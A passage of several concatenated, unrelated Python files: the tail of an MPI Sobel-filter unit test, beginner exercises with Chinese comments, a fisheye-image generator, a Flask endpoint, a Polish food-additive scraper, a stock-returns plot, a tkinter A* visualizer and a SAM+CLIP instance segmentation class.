        logger.info("sobelDds min = %s, sobelDds max = %s" % (np.min(sobelDds.asarray()[slc]), np.max(sobelDds.asarray()[slc])))
        logger.info("num non-zero sobelDds = %s" % sp.sum(sp.where(sobelDds.asarray()[slc] != 0, 1, 0)))

        self.assertTrue(sp.all(imgDds.asarray() == 0))
        self.assertTrue(sp.all(sobelDds.asarray()[slc] == 0))

    def testSobelWithHalo0(self):
        self.doTestSobelWithHalo(0)

    def testSobelWithHalo1(self):
        self.doTestSobelWithHalo(1)

    def testSobelWithHalo2(self):
        self.doTestSobelWithHalo(2)

if __name__ == "__main__":
    mpi.initialiseLoggers(
        [__name__, "mango.mpi", "mango.image", "mango.imageTest"],
        logLevel=logging.INFO
    )
    unittest.main()


from  func_testpy import fact,fac1
from collections.abc import Iterable

#import builtins; builtins.abs = 10

#测试fact阶乘计算函数 递归调用
print(fact(4))

print(fac1(9))

'''
汉诺塔
'''
def move(n,a,b,c):
    if n==1:
        print('move',a,'-->',c)
    else:
        move(n-1,a,c,b)
        move(1,a,b,c)
        move(n-1,b,a,c)

move(3,'A','B','C')

#测试是否可迭代
print(isinstance('ABC',Iterable))
print(isinstance([1,2,3],Iterable))
print(isinstance(123,Iterable))
print(isinstance('123',Iterable))

#enumerate可以把一个list变成索引-元素对
for i,value in enumerate([1,2,3]):
    print(i,value)

#列表生成式
print(list(range(1,11)))

L=[]
for x in range(1,11):
    L.append(x*x)
print(L)

print([x*x for x in range(1,11)])

print([x*x for x in range(1,11) if x%2==0] )

print([m+n for m in 'ABC' for n in 'XYZ'])

L1=['Hello', 'World', 'IBM', 'Apple']
print([ s.lower() for s in L1])

L2 = ['Hello', 'World', 18, 'Apple', None]

L2=[x.lower() for x in L2 if isinstance(x,str)]
print(L2)
if L2 == ['hello', 'world', 'apple']:
    print('测试通过!')
else:
    print('测试失败!')

'''
生成器：
斐波那契数列
'''
L3=(x*x for x in range(10))
print(L3)
print('next：',next(L3))#交互式环境下测试

#循环
def fib(max):
    n,a,b=0,0,1
    while n<max:
        print(b)
        a,b=b,a+b
        n=n+1
    return 'done'

fib(6)

def fib1(max):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a + b
        n = n + 1
    return 'done'

print('yield 测试')
for x in fib1(10):
    print(x)

#拿return返回值
g=fib1(4)
while True:
    try:
        x=next(g)
        print('g:',x)
    except StopIteration as e:
        print('Generator return value:',e.value)
        break

print(abs)


# 用计算机计算生成结合成多张鱼眼照片进行训练。

import math
import cv2 as cv
import numpy as np
from undistortionCamera import init_K_D

K, D, DIM = init_K_D()
rvecs = np.zeros((3, 1), dtype=np.float64)
tvecs = np.zeros((3, 1), dtype=np.float64)

def tesd(img, ratio=0.5, center_ratio=0.5):
    rows, cols, _ = img.shape
    fish_image = np.zeros([rows, cols, 3], dtype=np.uint8)
    # 调整这个中心点的值可以帮助改变图像畸变后的映射位置
    u0 = cols*center_ratio
    v0 = rows/2
    # 调整这个ratio有助于生成更加鱼眼畸变的相机，ratio越小畸变越明显
    sigma_u = u0*ratio
    sigma_v = v0*ratio
    k = D[1]  # 随便取一个相机的畸变参数即可

    def project_p(col, row):
        x = (col - u0) / sigma_u
        y = (row - v0) / sigma_v
        r = math.sqrt(x ** 2 + y ** 2)
        theta = math.atan(r)
        theta_d = theta * (
                    1 + k[0] * pow(theta, 2) + k[1] * pow(theta, 4) + k[2] * pow(theta, 6) + k[3] * pow(theta, 8))
        if theta_d != 0:
            xd = theta_d * x / r
            yd = theta_d * y / r
        else:
            xd = 0
            yd = 0
        ud = int(xd * sigma_u + u0)
        vd = int(yd * sigma_v + v0)
        return ud, vd

    # 计算每个点的映射
    for col in range(cols):
        for row in range(rows):
            ud, vd = project_p(col, row)
            fish_image[vd][ud] = img[row][col]

    # 计算原图中四个角映射后的坐标，用于裁剪
    edge = np.zeros([4, 2], dtype=int)
    edge[0] = project_p(0, 0)  # 左上角
    edge[1] = project_p(cols, 0)  # 右上角
    edge[2] = project_p(0, rows)  # 左下角
    edge[3] = project_p(cols, rows)  # 右下角角

    for i in range(4):
        cv.circle(fish_image, (edge[i][0], edge[i][1]), 5, color=(0, 255, 250), thickness=-1)
    out = fish_image[edge[0][1]:edge[3][1], edge[0][0]:edge[3][0]]
    return out, fish_image

if __name__ == '__main__':
    # for i in range(5):
    #     name = 'image/training data generator/'+ str(i) + '.jpg'
    #     img = cv.imread(name, 1)
    #     img = cv.resize(img, (0, 0), None, 0.3, 0.3)
    #     cv.imshow('TESE', img)
    #     cv.imwrite(name, img)

    img = cv.imread('image/training data generator/4.jpg', 1)
    img = cv.resize(img, (0, 0), None, 0.5, 0.5)
    # 进行patch，因为照片里车照的有点大了
    ratio = 1.3
    rows, cols, _ = img.shape
    patched_img = np.ones([int(rows*ratio), int(cols*ratio), 3], dtype=np.uint8)
    patched_img = patched_img * 255
    start_u = (patched_img.shape[0] - rows)//2
    start_v = (patched_img.shape[1] - cols)//2
    patched_img[start_v:start_v+rows, start_u:start_u+cols, :] = img

    out, fish_img = tesd(patched_img, center_ratio=0.5)
    cv.imshow('TESE', fish_img)
    cv.imshow('TESE2', out)

    # save_path = 'image/training data generator/logout/diff_central_7.jpg'
    # cv.imwrite(save_path, fish_img)
    cv.waitKey(0)


import os
import sys
sys.path.insert(
    0,
    os.path.abspath(
        os.path.join(os.path.dirname(os.path.abspath('../02_Businnes/Services/') + "\\"), '..')))

import json
from Services.ServiceApi import ServiceApi
from flask import Flask, request
app = Flask(__name__)
app.config['DEBUG'] = True

@app.route("/Start", methods = ["GET"])
def Start():
    if request.method == "GET":
        servico = ServiceApi()
        return servico.Start()

@app.route("/Load", methods = ["POST"])
def Load():
    if request.method == "POST":
        servico = ServiceApi()
        parameters = request.form
        token = parameters["token"]
        urlData = parameters["urlData"]
        type = parameters["type"]
        return servico.Load(token, urlData, type)

app.run()


import requests
from bs4 import BeautifulSoup
import sqlite3

response = requests.get(
    'https://pl.wikipedia.org/wiki/Lista_chemicznych_dodatk%C3%B3w_do_%C5%BCywno%C5%9Bci#E100%E2%80%93E199_(barwniki)')

soup = BeautifulSoup(response.text, 'html.parser')
e_code = []
e_name = []
rows = []
codes = []

e_database = sqlite3.connect('e_database.db')

cur = e_database.cursor()

cur.execute("DROP TABLE IF EXISTS E_TABLE;")

cur.executescript("""
    CREATE TABLE IF NOT EXISTS E_TABLE
    (ID INTEGER PRIMARY KEY ASC,
    KOD varchar(10) NOT NULL,
    NAZWA varchar(250) NOT NULL)""")
e_database.commit()

# sprawdzenie czy kod e istnieje -> jeśli tak to zwrotka z nazwa
def check_e_code(user_e):
    if any(user_e in e for e in e_code):
        counter = 0
        for e in e_code:
            if user_e in e:
                print(e + " " + e_name[counter])
            counter = counter + 1
    else:
        print("Brak kodu w bazie")

# sprawdzenie czy nazwa e istnieje -> jeśli tak to zwrotka z kodem e
def check_e_name(user_e_name):
    if any(user_e_name in e for e in e_name):
        counter = 0
        for e in e_name:
            if user_e_name in e:
                print(e_code[counter] + " " + e)
            counter = counter + 1
    else:
        print("Brak nazwy w bazie")

# sprawdzenie poprawnosci wejscia
def inputChoice():
    number = input("Twój wybór: ")
    if number.isdigit():
        return int(number)
    else:
        print("Brak takiej opcji w menu, wybierz właściwą opcję!")
        inputChoice()

tables = soup.find_all("table", class_="wikitable sortable")
for table in tables:
    rows.append(table.find_all('tr'))

e_database = sqlite3.connect("e_database.db")

for row in rows:
    for setx in row:
        if setx.find('td') is not None:
            cur.execute("INSERT INTO E_TABLE VALUES (NULL,?,?);", (setx.find_all('td')[0].text, (setx.find_all('td')[1].text).lower()))
            e_database.commit()

cur.execute("SELECT KOD, NAZWA FROM E_TABLE")

codes = cur.fetchall()

e_database.close()

#rozbicie listy list na pojedyncze listy
e_code, e_name = zip(*codes)

print("Ten program jest bazą dodatków chemicznych do żywności.\n"
      "Wybierz opcję \"Podaj e\" aby przeszkać bazę pod kątem numeru e, lub \"Podaj nazwę\" aby przeszukać pod kątem nazwy. \n"
      "Obie opcje przeszukją cząstkowo, tj. po wprowadzeniu \"e12\" program zwróci wszyskie e zaczynające się od \"e12\"")

while True:
    print("\n(1) Podaj e")
    print("(2) Podaj nazwę")
    print("(3) Wyjdź")

    choice = inputChoice()

    if choice == 1:
        user_e = input("Podaj kod e: ").upper()
        check_e_code(user_e)
    elif choice == 2:
        user_e_name = input("Podaj nazwe e: ").lower()
        check_e_name(user_e_name)
    elif choice == 3:
        break;

print("Koniec programu!")


# -*- coding: utf-8 -*-
"""
Created on Wed Dec 12 14:53:42 2018

@author: chuny
Based on https://www.learndatasci.com/tutorials/python-finance-part-2-intro-quantitative-trading-strategies/

"""

from pandas_datareader import data
import pandas as pd
import numpy as np
import matplotlib.pylab as plt
import seaborn as sns
import matplotlib.dates as mdates

my_year_mpnth_fmt=mdates.DateFormatter('%m/%y')

tickers=['AAPL','MSFT','^GSPC']

start_date='20100101'
end_date='20161231'
close = pd.DataFrame()
for ticker in tickers:
    panel_data=data.DataReader(ticker,'yahoo',start_date,end_date)
    close[ticker]=panel_data['Close']

all_weekdays=pd.date_range(start=start_date,end=end_date,freq='B')

close=close.reindex(all_weekdays)
close=close.fillna(method='ffill')

short_rolling=close.rolling(window=20).mean()
long_rolling = close.rolling(window=100).mean()

returns = close.pct_change(1)
log_returns = np.log(close).diff()
'''
fig,ax0=plt.subplots(1,1,figsize=(10,8))

ax0.plot(close.index,(np.exp(log_returns['AAPL'].cumsum()) - 1),'k',label='Returns')
ax0.plot(close.index,log_returns['AAPL'].cumsum(),'r',label='Log Returns')
ax0.legend()

'''
weights_matrix= pd.DataFrame(1/3, index=close.index, columns=close.columns)
temp_var = weights_matrix.dot(log_returns.transpose())
portfolio_log_returns = pd.Series(np.diag(temp_var), index=log_returns.index)

total_relative_returns = (np.exp(portfolio_log_returns.cumsum()) - 1)

fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(10,8))

ax1.plot(portfolio_log_returns.index, portfolio_log_returns.cumsum(),label='Cumulative log return')
ax1.set_ylabel('Portfolio cumulative log returns')
ax1.legend()
ax2.plot(total_relative_returns.index, 100 * total_relative_returns,label='Portfolio total relative returns')
ax2.set_ylabel('Portfolio total relative returns (%)')
ax2.legend()
plt.show()


from functools import partial
import tkinter as tk
import tkinter.ttk as ttk
import tkinter.messagebox as messagebox
from A_star_search import *
from graph import *
from time import sleep

class App:
    def __init__(self):
        self.a_star = AStarSearch()
        self.graph = Graph()

        self.parameters = {}
        self.clear_buttons = []

        self.master = tk.Tk()
        self.master.title("A* visualization")
        #self.master.geometry("400x200")
        self.img = tk.PhotoImage()
        button_frame = tk.Frame(self.master)

        size = tk.Label(button_frame, text="Size: ")
        size.grid(row=0,column=0)
        size_entry = tk.Entry(button_frame, width = 10)
        size_entry.insert(tk.END,"5")
        self.parameters["Size"] = size_entry
        size_entry.grid(row=0,column=1)

        btn_resize = tk.Button(button_frame, text="Resize", command=lambda: self.resize(int(size_entry.get())))
        btn_resize.grid(row=1,column=0)

        btn_place_start = tk.Button(button_frame, text="Place Start",  width=20, command=self.placeStart)
        btn_place_start.grid(row=2,columnspan=2, pady=10)

        btn_place_end = tk.Button(button_frame, text="Place End",  width=20, command=self.placeEnd)
        btn_place_end.grid(row=3,columnspan=2, pady=10)

        #btn_place_barriers = tk.Button(button_frame, text="Place Barriers", width=20, command=self.placeBarriers)
        #btn_place_barriers.grid(row=4,columnspan=2,pady=10)

        heuristic_label = tk.Label(button_frame, text="Heuristic: ")
        options = ["City Block", "Euclidean"]
        heuristic_var = tk.StringVar(button_frame)
        heuristic_var.set(options[0])
        heuristic_menu = tk.OptionMenu(button_frame, heuristic_var, *options)
        self.parameters["Heuristic"]=heuristic_menu
        heuristic_menu.config(width=8)
        #heuristic_combobox = ttk.Combobox(button_frame)
        #heuristic_combobox['values'] = ("City Block", "Euclidean")
        #heuristic_combobox.current(0)
        heuristic_label.grid(row=4,column=0,pady=10)
        heuristic_menu.grid(row=4,column=1,pady=10)

        speed_label = tk.Label(button_frame, text="Speed: ")
        speed_options = ["Slow", "Medium", "Fast", "Very Fast"]
        speed_var = tk.StringVar(button_frame)
        speed_var.set(speed_options[1])
        speed_menu = tk.OptionMenu(button_frame, speed_var, *speed_options)
        self.parameters["Speed"]=speed_menu
        speed_menu.config(width=8)
        speed_label.grid(row=5,column=0,pady=10)
        speed_menu.grid(row=5,column=1,pady=10)

        btn_clear = tk.Button(button_frame, text="Clear", width=20, command=self.clearPath)
        btn_clear.grid(row=6,columnspan=2,pady=10)
        self.clear_buttons.append(btn_clear)

        btn_clear_all = tk.Button(button_frame, text="Clear All", width=20,command=self.clearGraph)
        btn_clear_all.grid(row=7,columnspan=2,pady=10)
        self.clear_buttons.append(btn_clear_all)

        btn_go = tk.Button(button_frame, text="Go!", width=20, command=lambda: self.go(heuristic_var.get(), speed_var.get()))
        btn_go.grid(row=8, columnspan=2,pady=10)

        button_frame.grid(row=0,column=0, padx=2)

        self.graph_frame = tk.Frame(self.master)
        self.graph_buttons = self.buildGraphFrame()
        self.graph_frame.grid(row=0,column=1)

    def run(self):
        self.master.mainloop()

    def placeStart(self):
        self.disableButtons()

        size = self.graph.size

        for i in range(size):
            for j in range(size):
                self.graph_buttons[i][j].configure(command = partial(self.colorButtonEndOrStart, (i,j), Spaces.START))

    def placeEnd(self):
        self.disableButtons()

        size = self.graph.size

        for i in range(size):
            for j in range(size):
                self.graph_buttons[i][j].configure(command = partial(self.colorButtonEndOrStart, (i,j), Spaces.END))

    def colorButtonEndOrStart(self, position, endorstart):
        result = self.graph.setEndPoint(position, endorstart)

        if result == 1:

            if endorstart == Spaces.END:
                self.graph_buttons[position[0]][position[1]].configure(bg="red")
            elif endorstart == Spaces.START:
                self.graph_buttons[position[0]][position[1]].configure(bg="green")
            self.enableBarrierToggles()
            self.enableButtons()

    def enableClearButtons(self):
        for c in self.clear_buttons:
            c.configure(state="normal")

    def enableButtons(self):
        for c in self.master.winfo_children()[0].winfo_children():
                c.configure(state="normal")

    def disableButtons(self):
        for c in self.master.winfo_children()[0].winfo_children():
                c.configure(state="disable")

    def placeBarriers(self):
        pass

    def toggleBarrier(self, position):
        res = self.graph.toggleBarrier(position)

        if res == 0:
            self.graph_buttons[position[0]][position[1]].configure(bg="tan")
        elif res == 1:
            self.graph_buttons[position[0]][position[1]].configure(bg="gray")
        elif res == -1:
            pass

    def clearGraph(self):
        self.enableButtons()
        self.graph.resetMatrix()
        size = self.graph.size

        for i in range(size):
            for j in range(size):
                if i == 0 and j == 0:
                    self.graph_buttons[i][j].configure(bg="green")
                elif i == size-1 and j == size-1:
                    self.graph_buttons[i][j].configure(bg="red")
                else:
                    self.graph_buttons[i][j].configure(bg="tan")

    def clearPath(self):
        self.enableButtons()
        size = self.graph.size
        for i in range(size):
            for j in range(size):
                if self.graph.getPosition(i,j) == Spaces.START:
                    self.graph_buttons[i][j].configure(bg="green")
                elif self.graph.getPosition(i,j) == Spaces.END:
                    self.graph_buttons[i][j].configure(bg="red")
                elif self.graph.getPosition(i,j) == Spaces.BARRIER:
                    self.graph_buttons[i][j].configure(bg="gray")
                else:
                    self.graph_buttons[i][j].configure(bg="tan")

    def go(self, heuristic, speed):

        speeds = {"Slow":0.3, "Medium":0.2, "Fast": 0.1, "Very Fast": 0.05}
        s = speeds[speed]

        self.disableButtons()

        if heuristic == "Euclidean":
            h = EuclideanHeuristic
        else:
            h = CityBlockHeuristic
        self.a_star.setGraph(self.graph.matrix)
        self.a_star.setHeuristic(h)

        self.a_star.startSearch(self.graph.start, self.graph.end)

        n = None

        while n == None:
            n = self.a_star.iterateSearch(self.graph.end)
            #s.enter(0.2, 1, self.colorExploredSet, (self.a_star.explored_set,))
            #s.run()
            sleep(s)
            self.colorExploredSet(self.a_star.explored_set)

        if n == TERMINATE:
            pass
        else:
            self.colorPath(n, self.graph.start, self.graph.end)
        self.a_star.clearSearch()

        self.enableClearButtons()

    def colorExploredSet(self, explored_set):

        #for n in explored_set:
        x = explored_set[-1].position[0]
        y = explored_set[-1].position[1]
        #self.graph_buttons[x][y].after(1000, lambda: self.graph_buttons[x][y].configure(bg="blue"))
        self.graph_buttons[x][y].configure(bg="blue")
        self.master.update()

    def colorPath(self, node, start, end):
        while node != None:
            x = node.position[0]
            y = node.position[1]
            self.graph_buttons[x][y].configure(bg="orange")
            node = node.parent

        self.graph_buttons[start[0]][start[1]].configure(bg="green")
        self.graph_buttons[end[0]][end[1]].configure(bg="red")

    def resize(self, new_size):
        if new_size > MAX_SIZE or new_size < MIN_SIZE:
            messagebox.showerror("Size error", f"Input size must be {MIN_SIZE} <= size <= {MAX_SIZE}.")
        else:
            self.graph.resizeMatrix(new_size)
            self.graph_frame.destroy()
            self.graph_frame = tk.Frame(self.master)
            self.graph_buttons = self.buildGraphFrame()
            self.graph_frame.grid(row=0,column=1)

    def buildGraphFrame(self):
        size = self.graph.size

        buttons = []

        for i in range(size):
            buttons.append([])
            for j in range(size):

                square_button = tk.Button(self.graph_frame, image=self.img)

                if self.graph.getPosition(i,j) == Spaces.START:
                    square_button.configure(bg="green")
                elif self.graph.getPosition(i,j) == Spaces.END:
                    square_button.configure(bg="red")
                elif self.graph.getPosition(i,j) == Spaces.BARRIER:
                    square_button.configure(bg="gray", command=partial(self.toggleBarrier, (i,j)))
                else:
                    square_button.configure(bg="tan", command=partial(self.toggleBarrier, (i,j)))

                square_button.config(width=150/ size, height = 150 /size)
                square_button.grid(column=j,row=i)
                buttons[i].append(square_button)

        return buttons

    def enableBarrierToggles(self):
        size = self.graph.size
        for i in range(size):
            for j in range(size):
                if self.graph.getPosition(i,j) == Spaces.START:
                    self.graph_buttons[i][j].configure(bg="green")
                elif self.graph.getPosition(i,j) == Spaces.END:
                    self.graph_buttons[i][j].configure(bg="red")
                elif self.graph.getPosition(i,j) == Spaces.BARRIER:
                    self.graph_buttons[i][j].configure(bg="gray", command=partial(self.toggleBarrier, (i,j)))
                else:
                    self.graph_buttons[i][j].configure(bg="tan", command=partial(self.toggleBarrier, (i,j)))


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2023-04-11 下午1:49
# @Author  : MaybeShewill-CV
# @Site    :
# @File    : insseg_model.py
# @IDE: PyCharm Community Edition
"""
instance segmentation model with sam and clip
"""
import numpy as np
import cv2
from PIL import Image
import torch

from models.detector import utils
from models.clip import tokenize
from models import build_clip_model
from models import build_sam_mask_generator

class SamClipInsSegmentor(object):
    """

    """
    def __init__(self, sam_cfg, clip_cfg, insseg_cfg):
        """

        :param sam_cfg:
        :param clip_cfg:
        :param insseg_cfg:
        """
        self.mask_generator = build_sam_mask_generator(sam_cfg)
        self.clip_model, self.clip_preprocess = build_clip_model(clip_cfg)
        self.device = torch.device(insseg_cfg.MODEL.DEVICE)
        self.top_k_objs = insseg_cfg.INS_SEG.TOP_K_MASK_COUNT
        self.cls_score_thresh = insseg_cfg.INS_SEG.CLS_SCORE_THRESH
        self.max_input_size = insseg_cfg.INS_SEG.MAX_INPUT_SIZE
        self.obj365_text_prompts = utils.generate_object365_text_prompts()
        self.obj365_text_token = tokenize(self.obj365_text_prompts).to(self.device)
        self.text_token = None

    def _set_text_tokens(self, texts):
        """

        :param texts:
        :return:
        """
        self.text_token = tokenize(texts=texts).to(self.device)
        return

    def _generate_sam_mask(self, input_image: np.ndarray):
        """

        :param input_image:
        :return:
        """
        masks = self.mask_generator.generate(input_image)
        most_stable_mask = sorted(masks, key=lambda d: d['area'])
        if len(most_stable_mask) > self.top_k_objs:
            most_stable_mask = most_stable_mask[-self.top_k_objs:]
        sam_masks = {
            'segmentations': [tmp['segmentation'] for tmp in most_stable_mask],
            'bboxes': [tmp['bbox'] for tmp in most_stable_mask],
            'stability_scores': [tmp['stability_score'] for tmp in most_stable_mask],
        }
        return sam_masks

    @staticmethod
    def _crop_rotate_image_roi(input_image, seg_mask):
        """

        :param input_image:
        :param seg_mask:
        :return:
        """
        y, x = np.where(seg_mask == 1)
        fg_pts = np.vstack((x, y)).transpose()
        src_image = cv2.bitwise_or(input_image, input_image, mask=np.asarray(seg_mask, dtype=np.uint8))
        roi_x, roi_y, roi_w, roi_h = cv2.boundingRect(fg_pts)
        extend_size = 20
        if roi_x - extend_size >= 0:
            roi_x -= extend_size
            roi_w += extend_size
        if roi_y - extend_size >= 0:
            roi_y -= extend_size
            roi_h += extend_size
        roi_image = src_image[roi_y:roi_y + roi_h, roi_x:roi_x + roi_w, :]
        if np.any(np.shape(roi_image) < (3, 3)):
            return None
        return roi_image

    def _classify_image(self, input_image: np.ndarray, text=None):
        """

        :param input_image:
        :return:
        """
        image = Image.fromarray(input_image)
        image = self.clip_preprocess(image).unsqueeze(0).to(self.device)
        if text is None:
            logits_per_image, logits_per_text = self.clip_model(image, self.obj365_text_token)
        else:
            if self.text_token is None:
                text_token = tokenize(texts=text).to(self.device)
                logits_per_image, logits_per_text = self.clip_model(image, text_token)
            else:
                logits_per_image, logits_per_text = self.clip_model(image, self.text_token)
        probs = logits_per_image.softmax(dim=-1).cpu().numpy()[0, :]
        cls_id = np.argmax(probs)
        score = probs[cls_id]
        if text is None:
            if score < 0.15:
                cls_id = probs.shape[0] - 1
            return cls_id
        else:
            if score < self.cls_score_thresh:
                cls_id = probs.shape[0] - 1
            return cls_id

    def _classify_mask(self, input_image, mask, text=None):
        """

        :param input_image:
        :param mask:
        :return:
        """
        bboxes_cls_names = []
        for idx, bbox in enumerate(mask['bboxes']):
            roi_image = self._crop_rotate_image_roi(input_image, mask['segmentations'][idx])
            if roi_image is None:
                cls_name = 'background'
                bboxes_cls_names.append(cls_name)
                continue
            # cv2.imwrite('{:d}_mask.png'.format(idx), roi_image[:, :, (2, 1, 0)])
            cls_id = self._classify_image(roi_image, text=text)
            if text is None:
                cls_name = self.obj365_text_prompts[cls_id].split('a photo of')[1].strip(' ')
                bboxes_cls_names.append(cls_name)
            else:
                cls_name = text[cls_id]
                if cls_name.startswith('a photo of'):
                    cls_name = cls_name.split(' ')[3]
                bboxes_cls_names.append(cls_name)

        mask['bbox_cls_names'] = bboxes_cls_names
        return

    def seg_image(self, input_image_path, unique_label=None, use_text_prefix=False):
        """

        :param input_image_path:
        :param unique_label:
        :param use_text_prefix:
        :return:
        """
        # read input image
        input_image = cv2.imread(input_image_path, cv2.IMREAD_COLOR)
        if input_image.shape[0] > self.max_input_size[0] or input_image.shape[1] > self.max_input_size[1]:
            h, w, _ = input_image.shape
            hw_ratio = h / w if h > w else w / h
            if h > w:
                dsize = (int(self.max_input_size[1] / hw_ratio), self.max_input_size[1])
            else:
                dsize = (self.max_input_size[0], int(self.max_input_size[0] / hw_ratio))
            input_image = cv2.resize(input_image, dsize=dsize)
        input_image = cv2.cvtColor(input_image, cv2.COLOR_BGR2RGB)

        with torch.no_grad():
            # extract mask from sam model
            masks = self._generate_sam_mask(input_image)
            # classify each mask's label
            if unique_label is None:
                self._classify_mask(input_image, masks, text=None)
            else:
                texts = utils.generate_text_prompts_for_instance_seg(
                    unique_labels=unique_label,
                    use_text_prefix=use_text_prefix
                )
                self._set_text_tokens(texts)
                self._classify_mask(input_image, masks, text=texts)

        # visualize segmentation result
        input_image = cv2.cvtColor(input_image, cv2.COLOR_RGB2BGR)
        ins_seg_mask = utils.visualize_instance_seg_results(masks, draw_bbox=True)
        ins_seg_add = cv2.addWeighted(input_image, 0.5, ins_seg_mask, 0.5, 0.0)

        ret = {
            'source': input_image,
            'ins_seg_mask': ins_seg_mask,
            'ins_seg_add': ins_seg_add
        }

        return ret